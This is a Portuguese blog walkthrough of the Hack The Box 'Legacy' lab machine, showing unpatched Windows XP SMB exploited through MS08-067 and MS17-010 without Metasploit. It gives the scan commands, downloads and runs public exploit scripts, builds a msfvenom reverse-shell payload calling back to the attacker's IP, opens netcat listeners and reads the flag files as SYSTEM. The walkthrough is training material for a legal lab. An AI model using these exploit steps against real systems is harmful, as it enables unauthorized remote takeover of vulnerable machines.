Hack the Box – Legacy Writeup (Sem uso do Metasploit)
- Arthur Souza
- Writeups
- 18 de abril de 2023
Hoje veremos o writeup completo da máquina Legacy do Hack The Box!
Link de acesso: https://app.hackthebox.com/machines/Legacy
Descrição
A máquina Legacy é bastante simples para iniciantes que demonstra os potenciais riscos de segurança do serviço SAMBA/SMB no Windows.
Apenas um exploit disponível publicamente é necessário para obter acesso de administrador e iremos os passos a seguir de como explorar este serviço.
Conhecimento requeridos:
- Conhecimento básico em Windows
- Enumeração de portas e serviços
Conhecimento que serão aprendidos:
- Identificação de serviços vulneráveis
- Exploração do serviço SAMBA/SMB
Reconhecimento
Inicialmente, utilizamos o Masscan para efetuar uma enumeração ágil dos serviços ativos na máquina, direcionando a saída para o arquivo “ports”
masscan -p1-65535,U:1-65535 10.10.10.4 --rate=1000 -p1-65535,U:1-65535 -e tun0 > ports
Popular a variável “ports” com as portas abertas identificadas
ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')
Em seguida, empregamos o NMAP para realizar uma varredura dos serviços identificados
nmap -Pn -sV -sC -p$ports 10.10.10.4
Observaçao: Esta é apenas uma forma de se fazer o scan de serviços ativos, mas sinta-se à vontade para usar outros métodos que desejar.
Resultado do scan:
Ao analisarmos esse resultado, podemos concluir que o sistema operacional em uso é o Windows (provavelmente a versão XP), bem como identificar que está sendo utilizado o serviço Samba/SMB na versão 2.
Podemos realizar uma nova verificação utilizando o NMAP para identificar possíveis vulnerabilidades no serviço samba/smb.
nmap -script smb-vuln* -p 139,445 10.10.10.4
Como podemos observar no print acima, a máquina apresenta vulnerabilidades tanto para a ms08-067 (CVE-2008-4250) quanto para a ms17-010 (CVE-2017-0143). Nesse caso, podemos verificar a disponibilidade de um módulo no Metasploit para explorar o serviço em questão.
Exploração através do ms08-067
Realizando uma pesquisa na Internet sobre projetos relacionados à exploração do ms08-067
site:github.com ms08-067 exploit
Conforme demonstrado no print acima, a comunidade criou diversos projetos para explorar o ms08-067. Para este fim, selecionaremos o script disponível na URL https://gist.github.com/jrmdev/5881544269408edde11335ea2b5438de
Vamos fazer o download do script em nossa máquina:
wget https://gist.githubusercontent.com/jrmdev/5881544269408edde11335ea2b5438de/raw/000546fe015a92e7837d4a82def7c90020d39b08/ms08-067.py
Depois de baixar o script, vamos verificar como utilizá-lo executando o comando abaixo:
python3 ms08-067.py
Conforme mostrado no print acima, seu uso é simples. Precisamos informar os seguintes dados:
- IP da máquina alvo
- Sistema Operacional
- Porta para exploração
- IP da nossa máquina atacante
- Porta da nossa máquina atacante
Agora que temos tudo pronto, podemos explorar a máquina usando o seguinte comando:
python3 ms08-067.py 10.10.10.4 6 445 10.10.14.19 443
Observação: O endereço IP e a porta da máquina atacante referem-se à máquina utilizada para criar este tutorial. Caso você esteja seguindo os mesmos passos em seu próprio ambiente, por favor ajuste essas informações para o endereço IP e porta de sua própria VPN, além da porta utilizada em modo LISTENING em sua máquina.
Durante a execução do comando acima, um payload será gerado automaticamente para criar um reverse shell. Para avançar, o script pede para abrirmos a porta 443 (porta selecionada para esta exploração) e nos sugere que executemos o comando ’nc -lvp 443’. Após colocar a porta 443 em modo LISTENING, basta pressionar ENTER para continuar.
Observação: Embora possamos usar esses comandos para colocar a porta em modo LISTENING, é recomendado usar o RLWRAP para uma experiência de shell mais aprimorada.
Comandos para instalação caso não possuir o RLWRAP em sua máquina:
sudo apt-get update
sudo apt-get install rlwrap
Colocando a porta 443 em modo LISTENING:
rlwrap nc -lnvp 443
Após obter a shell, vemos que o comando whoami não funciona no sistema:
Podemos baixar o static-binary para nossa máquina com o comando abaixo.
Observação: Se você desejar baixar o projeto inteiro em vez de apenas o static-binary do whoami, pode acessar o seguinte link para o repositório: https://github.com/interference-security/kali-windows-binaries
wget https://github.com/interference-security/kali-windows-binaries/raw/master/whoami.exe
Executando whoami.exe
Na nossa máquina, vamos tornar o diretório com o static-binary acessível via SMB usando o utilitário impacket-smbserver:
impacket-smbserver legacy .
Na máquina alvo, vamos executar o whoami.exe a partir da pasta compartilhada via SMB usando o seguinte comando:
\\10.10.14.19\legacy\whoami.exe
Como podemos ver no print acima, após executar o exploit nós obtemos acesso com o usuário SYSTEM.
Observação: Vale ressaltar que não é necessário realizar a escalação de privilégio.
Exploração através do ms17-010
Ao pesquisar na Internet por projetos relacionados à exploração do ms17-010, encontramos vários projetos disponíveis para a exploração desse vulnerabilidade.
site:github.com ms17-010 exploit
Link do repositório: https://github.com/k4u5h41/MS17-010_CVE-2017-0143
Efetuando download do script que iremos usar para a exploração do ms17-010
git clone https://github.com/k4u5h41/MS17-010_CVE-2017-0143.git
Para usar este script, precisaremos criar um reverse-shell com o utilitário msfvenom
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.19 LPORT=443 EXITFUNC=thread -f exe -a x86 --platform windows -o rev_10.10.14.19_443.exe
Antes de executarmos o script para exploração do ms17-010, devemos abrir uma porta em LISTENING em nossa máquina atacante:
rlwrap nc -lnvp 443
Agora podemos executar o exploit:
python2 send_and_execute.py 10.10.10.4 rev_10.10.14.19_443.exe
Após obter a shell, vemos que o comando whoami não funciona no sistema:
Podemos baixar o static-binary para nossa máquina com o comando abaixo.
Observação: Se você desejar baixar o projeto inteiro em vez de apenas o static-binary do whoami, pode acessar o seguinte link para o repositório: https://github.com/interference-security/kali-windows-binaries
wget https://github.com/interference-security/kali-windows-binaries/raw/master/whoami.exe
Executando whoami.exe
Na nossa máquina, vamos tornar o diretório com o static-binary acessível via SMB usando o utilitário impacket-smbserver:
impacket-smbserver legacy .
Na máquina alvo, vamos executar o whoami.exe a partir da pasta compartilhada via SMB usando o seguinte comando:
\\10.10.14.19\legacy\whoami.exe
Como podemos ver no print acima, após executar o exploit nós obtemos acesso com o usuário SYSTEM.
Observação: Vale ressaltar que não é necessário realizar a escalação de privilégio.
Flags do sistema
É necessário validar quais usuários estão ativos na máquina a fim de identificar a localização das nossas flags.
net users
Agora que sabemos quais usuários estão ativos no sistema, o próximo passo é validar os diretórios do usuário “john” a fim de localizar a flag “user.txt”.
No entanto, antes de iniciar essa busca, é necessário verificar se o sistema possui a estrutura de pastas padrão em “C:\Users”, ou se há alguma outra organização de diretórios.
cd c:\
dir
A estrutura de pastas deste sistema difere da organização padrão do Windows, na qual a pasta “Documents and Settings” geralmente contém os arquivos dos usuários.
Dessa forma, podemos utilizar o comando abaixo para varrer a máquina em busca dos arquivos desejados, exibindo a estrutura de pastas em formato de estrutura árvore:
tree /f /a "c:\Documents and Settings"
Arquivos identificados
Flag user.txt
type "C:\Documents and Settings\john\Desktop\user.txt"
Flag root.xt
type "C:\Documents and Settings\Administrator\Desktop\root.txt"
Por fim, agradecemos a leitura e esperamos que este post tenha te ajudado de alguma maneira! Caso tenha alguma dúvida, entre em contato conosco pelo Telegram , Facebook ou Instagram ! Veja mais posts no IronLinux !